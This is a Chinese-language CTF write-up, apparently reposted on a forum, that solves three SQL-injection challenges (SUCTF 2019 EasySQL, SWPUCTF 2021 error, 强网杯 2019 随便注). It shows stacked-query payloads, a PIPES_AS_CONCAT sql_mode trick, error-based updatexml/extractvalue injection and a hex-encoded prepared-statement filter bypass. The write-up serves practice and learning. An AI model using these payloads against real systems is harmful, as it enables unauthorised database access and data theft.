[suctf 2019]EasySQL [SWPUCTF 2021 新生赛]error [强网杯 2019]任意注
EasySQL一个输入框,我会的方式都试过了
https://i-blog.csdnimg.cn/direct/5196ebd708774ec983cd71fdffca43dd.png
这题输入数字会给一个数组就如上
https://i-blog.csdnimg.cn/direct/f4ad3bc708ff4c3bbf0faa4074a7f59b.png
别的进行注入范例判断的时候就是没有回显,白的
https://i-blog.csdnimg.cn/direct/9737a75dfe7a46ada8a36bd234ea14b7.png
但是输入一些关键的sql查询语句的时候就会nonono的
把union,order by ,sleep
等一些列我试的都不行
正常方式已经不行了
直到最后用到的堆叠注入
应为他的输入1会有回显那么对于堆叠注入
因该就会有用
payload:
1;show databases;
如许终于出了
https://i-blog.csdnimg.cn/direct/40e12a3cf65b48e6a30fff8df0188e66.png
进行下一步
payload:
1;show tables;
https://i-blog.csdnimg.cn/direct/33a523e5006e43788893a9a870ef9152.png
哈哈感觉就要行了
下一步
payload
1;show columns from 'Flag';
https://i-blog.csdnimg.cn/direct/64e3c4124ba24b09b921d2f0bf554562.png
又错了,麻了
又经过一番都不行
看了一下别人的wp
原来是要猜测别人写的后端代码
下面就是解这一题的方式了
第一步最简朴的
payload
*,1
https://i-blog.csdnimg.cn/direct/6722a6c25e39499280db871ca6c1c8b4.png
因为猜测代码如下
select $_POST['query'] || flag from flag
我们输入的代码就是在这了query
那么
输入1的原因
输入*,1,这里会增加一个临时列,他的列名为1,然后那一列的值都为1
1 || flag 这个会构成短路语法 会留下前面谁人1
就会变成如许
select *,1 from flag
如许就出来了
尚有一种就是堆叠注入了
https://i-blog.csdnimg.cn/direct/38ec10a26d6a4fa4b7340bf329c58249.png
用的是
1;set sql_mode=PIPES_AS_CONCAT;select 1
讲的是把||设置成了concat函数了就是进行连接
sql_mode : 它界说了 MySQL 应支持的 SQL 语法,以及应该在数据上实行何种确认查抄,其中的 PIPES_AS_CONCAT 将 || 视为字符串的连接操纵符而非 “或” 运算符
也就是PIPES_AS_CONCAT把||改成字符串了
因为:
pipes_as_concat:一个特定的 SQL 模式选项,它意味着在 SQL 查询中用 | 符号(即管道符号)作为字符勾通接符,从而允许利用管道符号进行字符勾通接。
SET 是一个用来修改系统变量的命令
error
https://i-blog.csdnimg.cn/direct/dc3d6c16fe394938b985db935d4dff20.png
这个直接用sqlmap就出了
https://i-blog.csdnimg.cn/direct/251d760f8218462685ad5591b5bff503.png
接下来试试手注
经过尝试之后可以发现这是字符型注入并且是‘’
有3列
https://i-blog.csdnimg.cn/direct/ab151a60bea64557bb578fe6c73ff158.png
https://i-blog.csdnimg.cn/direct/62f3dbd217254525a00d661e6b9b42c7.png
是可以的,下面就继承
https://i-blog.csdnimg.cn/direct/a26f6df772ff4d098e08455a3f95da3f.png
然后改一下字符起始位置就好了
updatexml
extractvalue
这俩都可以
[强网杯 2019]任意注
https://i-blog.csdnimg.cn/direct/df53fc707de8411f84c9f518a2ff3ce7.png
经过测试发现单引号被过滤了,而且下面的也都不行
https://i-blog.csdnimg.cn/direct/1031ba50abf54fcf8cef462959a38aac.png
试了一下堆叠注入还是可以的
https://i-blog.csdnimg.cn/direct/af7cc46e3d004e16827708675d388130.png
与1有区别的就是2了
1;show databases;
跟1的结果也是一样的
不过用kali试了一下发现有bool 跟时间盲注这两个
https://i-blog.csdnimg.cn/direct/40f599bfc16b405baef20c195929de1f.png
果然sqlmap是没有灵魂的,没有乐成
用order by 试出了有2个
这个是字符型输入 要闭合单引号
1’;show databases;
https://i-blog.csdnimg.cn/direct/bd6ff0bd6ebf467ba068c2d1efdd1033.png
查找到如下
https://i-blog.csdnimg.cn/direct/956dd8af2cbc46a484df70200ec7f0a7.png
接下来就差读取flag了
尚有一种就是动态实行预处理
进行16进制编码也是可以绕过select 等字符串的
通过上述也是找到了flag的所在地
如下set @a=0xxxxx; # 要实行语句的16进制
prepare test from @a;
execute test;:
要实行的是select * from `1919810931114514`
进行16进制编码
https://i-blog.csdnimg.cn/direct/8011912ccd4440b3a05267e3a5138a3e.png
payload:
1' ; Set @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare test from @a;execute test;
就出来了
https://i-blog.csdnimg.cn/direct/9e5ad5be089b4b53aea78993789cf01b.png
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页:
[1]